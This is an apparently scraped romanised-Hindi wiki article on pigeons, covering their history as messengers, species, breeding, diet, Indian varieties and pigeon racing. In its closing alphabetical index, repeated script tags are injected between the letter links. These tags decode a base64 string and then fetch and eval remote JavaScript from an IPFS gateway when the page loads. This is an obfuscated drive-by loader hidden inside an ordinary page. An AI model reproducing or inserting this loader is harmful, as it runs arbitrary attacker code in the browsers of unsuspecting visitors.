कबूतर

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Pigeon kabootar ek shaant svabhav vala pakshi hai. kabootar sabhi sthanoan par bhinn-bhinn akriti vale hote haian. kolanbidi kul (gan kolanbiph aaurmiz) ki kee sau prajatiyoan ke pakshiyoan mean se ek chhote akar vale pakshiyoan ko fakhta ya kapot aur b de ko kabootar kahate haian. isaka ek apavad safed ghareloo kabootar hai, jise 'shaanti kapot' kahate haian. kabootar thande ilaqoan aur dooradaraz ke dvipoan ko chho dakar lagabhag poori duniya mean pae jate haian.

itihas

kabootaroan ko palatoo banae jane ka sabase purana ullekh misr ke paanchave rajavansh (lagabhag 300 ee.poo) se milata hai. 1150 ee. mean bagadad ke sultan ne kabootaroan ki dak vyavastha shuroo ki thi aur changez khaan ne apane vijay abhiyanoan ke vistar ke sath aisi hi pranali ka upayog kiya tha. 1848 ki kraanti ke dauran yoorop mean sandesh vahak ke rup mean kabootaroan ka vyapak istemal hua tha aur 1849 mean barlin v broosels ke bich teligraf seva bhang hone par kabootaroan ko hi sandesh vahak rup mean prayukt kiya gaya tha. 20 vian shatabdi mean bhi yuddhoan ke dauran kabootaroan ko apat sandesh le jane ke lie istemal kiya gaya. amerika ke armi siganal k aaurps ke kabootar ki u dan ka kirtiman 3,700 kilomitar ka hai.

roop aur akriti

kabootar saumy, pankhadar, chhoti choanch vale pakshi haian. jinaki choanch aur mathe ke bich tvacha ki jhilli hoti hai. sabhi kabootar apane sir ko age pichhe hilate hue itaraee si chal chalate haian. apane lanbe pankhoan aur mazaboot u dan maansapeshiyoan ke karan ye sashakt v kushal u dake hote haian. ye ekasahachar hote haian. inaka jivan tho de din ke lie hota hai. thumb|250px|left|kabootar
Pigeon

prajatiyaan

isaki lagabhag 250 prajatiyaan jnat haian; jinamean se do- tihaee ushnakatibandhiy dakshin - poorv eshiya, aaustreliya aur pashchimi prashaant mahasagariy dvipoan mean paee jati haian. lekin is vansh ke kee sadasy afrika v dakshin amerika aur kuchh shitoshn yooreshiya aur uttari amerika mean pae jate haian. kabootaroan ki vibhinn jatiyaan nimn upaparivaroan se sanbaddh haian kolanbini, samany ya asali kabootar jinaki lagabhag 30 jatiyoan mean taqariban 175 prajatiyaan haian. jhuandoan mean rahane vale bij aur phalabhakshi ye kabootar duniya bhar ke shitoshn v ushnakatibandhiy kshetroan mean pae jate haian. inamean se kuchh bhoomi par ahar grahan karate haian. any aanshat: ya poornat: pe doan par bhojan prapt karate haian. ye sadharanat: halke sleti, bhoore aur kale rang ke hote haian aur kabhi-kabhi inake pankhoan par rang birange dhabbe pae jate haian. mahanagaroan mean paee jane vali prajati kolanba- jisamean purani duniya ke jangali kabootar aur nee duniya ke valayadar pooanchh yukt kabootar bhi shamil hai.

kabootar ke samooh mean streptopeliya prajati bhi shamil hai, jisamean purani duniya ke koorm kapot aur valay kapot shamil haian. shahari kshetroan mean s dakoan par pae jane vale kabootaroan ki prajati bhi isi jati ke tarah hoti hai. inamean palatoo nasloan se sankaran ke karan kee naslean haian. jo aantat: purani duniya ke r aauk kapot se sanbaddh haian. r aauk kapot samanyat: dhoosar rang ka hota hai. yooreshiya ki yah prajati eshiya mean 1,525 mitar se adhik ooanchaee par paee jati hai. ise 3000 ee.poo se palatoo banakar chayanit prajanan karaya gaya hai. jisase kee rangoan aur lagabhag 200 namoan ki naslean paida ho gee haian. inamean pradarshan kabootar u dake kabootar v b de khady kabootar shamil haian. in nasloan mean se pautar kabootaroan mean ek b di phail sakane vali galathaili hoti hai, sandeshavahak kabootaroan ki choanch lanbi hoti hai aur sharir bhari hota hai; barb chhoti choanch vali nasl hai. pankhadar pooanchh vale kabootar ki pooanchh mean 42 se adhik pankh hote haian; ulook kabootar ke gale ke pankh bikhare hue hote haian; frilabaik ke pankh ulti disha mean hote hai; jaikobin ke gale ke pankh chhatari ke saman hote haian. tanbalar kabootar u date samay ulti disha mean gota lagate haian. 'nee duniya ka yatri kabootar' ab vilupt ho gaya hai.

chooze

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Pigeon ghoansala banane aande sene aur choozoan ko bhojan karane mean nar-mada, donoan sahayog karate haian. ek bar mean amataur par do aande hote haian aur unhean dhaee saptah tak sena p data hai. do ya tin saptah mean chooze ghoansala chho d dete haian, vayask phir se ghoansala banate haian aur sal bhar mean do ya tin bar prajanan karate haian. is parivar ke kee sadasy taral choosate haian, any pakshiyoan ki tarah ve ghooant bharate ya nigalane ki prakriya nahian apanate sabhi kabootar apane choozoan ko apana doodh pilate haian. jo prolektin h aaurmon ki uttejak prakriya se bana gadha drav hota hai. chooze apane abhibhavakoan ke gale mean choanch dalakar yah doodh pite haian. mada betaratib ghoansale mean ek bar mean do chamakile safed aande deti hai, jahaan aande mushkil se hi thahar pate haian. mada amataur par rat mean aande seti hai aur din mean nar seta hai. aandoan se chooze nikalane mean 14 se 19 din lagate haian. lekin isake bad bhi 12 se 18 dinoan tak ghoansale mean hi rakhakar unaki dekhabhal ki jati hai.

bharat mean kabootar

bharat mean 34 se adhik kismoan ke kabootar pae jate haian. isaki samany prajatiyaan is prakar haian, nila, r aauk kabootar hara shahi kabootar jangali aur hara kabootar haian. himalay ka him kabootar, tibbat ke pathar ka paha di kabootar aur parvatiy kshetr ke shahi v jangali kabootar, aandaman ka jangali kabootar, nikobar ka paid ianpiriyal kabootar, pitavarni kabootar aur nikobari kabootar ab is dharati par dekhana durlabh haian.

bhojan

kabootar ka ahar anaj, dalean, phal, kaliyaan aur pattiyaan ghoanghe, kit hai. ye ret, chikani mitti, choona, bajari bhi kha lete haian aur gobar ke dher, mal sthanoan tatha rasayanik avasheshoan se namak prapti ke lie bhojan grahan karate haian. inake dvara nigale ge chhote-chhote kank d pet mean bhojan ko pisane ke kam ate haian. ye pani mean apani choanch dubakar lagatar choosakar pani pite haian. bhoomichar kabootar khate samay sakriyata se idhar-udhar dau date haian. thumb|250px|left|kabootar
Pigeon

kabootar ki avaz

kabootar ki avaz nissandeh gutar gooan, gurrahat sisakari aur siti ki dhvani jaisi hoti hai. biliang kabootar aur unaki pranay riti samany drishy hai, jisamean ye jhukakar gutar gooan karate haian. nar jhukakar sir age pichhe hilate hue aur gardan v chhati phulakar pradarshan karata hai.

nivas ka vishesh sthan

kabootar vrikshoan ya bhoomi par nivas karate hai aur inamean se kee kabootar jhuandoan mean rahate haian. kabootar ekasahachari hote haian. ve chhedoan v ooanchi chattanoan ki gufaoan mean tahaniyoan aur bhoose se kamazor v betaratib ghoansale banate haian. palatoo kabootar pakke kuanoan khali ya abad bhavanoan, puloan ki meharaboan divar ke chhedoan, chhajjoan, aur any surakshit sthanoan par prajanan karate haian.

mahattv

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Pigeon aant: prajanan se vibhinn rangoan ke kabootar ki kee nasle paida ho gee haian. kabootaroan ki sankhya visphot aur jangali kabootar ka du:sadhy janm niyantran shahari kshetr ke uddayan suraksha adhikariyoan aur prashasakoan ke lie ek du:svapn ki tarah hai. unake mal se chht utpadoan aur nazuk mashinoan ka aparadan hota hai. isake bavajood dharmik sansthanoan, samudr tatoan aur nadiyoan ke kinare bane kabootarakhanoan mean inhean dana khilaya jata hai. kabootaroan ko shaanti ka pratik aur saubhagy ka soochak mana jata hai inaka arthik mahattv bhi hai, ye kharapatavar ke bijoan ka nash karate haian. kabootar ka maans svadisht evan khady padarth hai. inake bit ka istemal sajji khar banane mean hota hai. inake bit se achchha urvarak taiyar hota hai. kabootaroan ki kee prajatiyaan pravrajak aur khanabadosh hoti haian. kabootaroan ke ghar vapas lautane ki pravritti ka upayog betar, doorasanchar yantroan ke agaman se pahale sandeshoan ke adan-pradan hetu hota tha. sandeshavahak kabootar ek din mean 800 se 1,000 kilomitar. ki doori tay kar sakata hai. kabootaroan ko unake maans ke lie mara jata hai. kee suandar prajatiyoan ko pak dakar becha jata hai. kee gair sarakari sangathan kabootaroan aur unake paryavas ki raksha mean sakriy haian. thumb|250px|left|kabootar
Pigeon

kabootaroan ki u dan pratiyogita

kabootaroan ko u dake aur pratiyogi kabootar bhi kaha jata haian. inaki u dan drut aur shaktishali hoti hai aur r aauk kabootar ki gati 185 kilomitar tak darj ki gee hai. khel ke rup mean kabootaroan ki dau d beljiyam mean shuroo huee thi, jahaan 1818 mean 160 kilomitar se adhik ki lanbi doori ki pratiyogita huee thi. 1820 mean peris v liz ke bich u dan pratiyogita huee aur 1823 mean landan se beljiyam ke bich huee. 18 vian shatabdi ke uttarardh mean gret briten, amerika aur fraans mean yah khel lokapriy hua. lekin kisi bhi sthan par yah beljiyam se adhik lokapriy nahian hua jahaan lagabhag pratyek gaanv mean kabootaroan ko pasand karane valoan ka ek klab tha. 1881 mean tuloo se broosels ke bich 750 kilomitar ki beljiyam koankoor neshanal namak salana pratiyogita ki shuruat huee; isi varsh gret briten mean eksetar plimath aur peanjaans se landan tak ki niyamit pratiyogita shuroo huee. vishv mean isaki niyamak sanstha fedareshan kolanbofil iantaraneshanal hai, jisaka mukhyalay brasels mean hai. pratiyogita vale kabootaroan ko vibhinn sthanoan se chho dakar apane ghar vapas lautane aur apane d dabe mean ghusane ke niyamit abhyas ke zariye prashikshit kiya jata hai. pratiyogita ki shuruat mean pratiyogi pakshiyoan ko chhalle pahanae jate haian; usake bad startar dvara unhean chho d diya jata hai. ye pakshi tezi se oopar u dkar sahi disha grahan karake sidhe apane d daboan ki or agrasar hote haian. kabootar ki u dan mean tay ki gee doori ko usake dvara lie ge samay se vibhajit karake usaki adhikatam gati ki ganana ki jati hai. jab tak pakshi apane d dabe ke daravaze se aandar pravesh nahian kar jata, use vapas pahuancha hua nahian mana jata hai. ghar lautane ke lie kabootar kee hazar kilomitar. tak ki doori tay karane ke lie vikhyat haian aur pratiyogita ke dauran kuchh kabootar 145 kilomitar tak ki ausat gati hasil kar lete haian.

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

vithika

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tika tippani aur sandarbh

sanbandhit lekh

REDIRECT saancha:jiv jantu

varnamala kramanusar lekh khoj

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<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> b <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> bh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> m <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> y 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<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> sh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> s <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> h <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> ksh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> tr <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> jn <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rri <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rri 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